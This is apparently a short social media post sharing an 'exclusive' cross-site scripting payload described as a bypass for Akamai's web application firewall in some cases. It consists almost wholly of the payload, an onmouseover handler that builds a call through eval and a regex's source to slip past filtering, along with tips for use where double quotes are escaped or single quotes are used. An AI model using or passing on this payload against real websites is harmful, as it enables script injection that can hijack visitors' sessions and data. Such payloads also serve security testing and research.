?? Exclusive ??
Limited case Akamai WAF bypass
<xhzeem/x=” onmouseover=eval?.(id+/(document.domain)/.source) id=confirm>
Works in cases where double quotes are escaped
<xhzeem/x=\” ….>
can also work with single quotes (change it in the payload) https://t.co/vhLHHGSFj1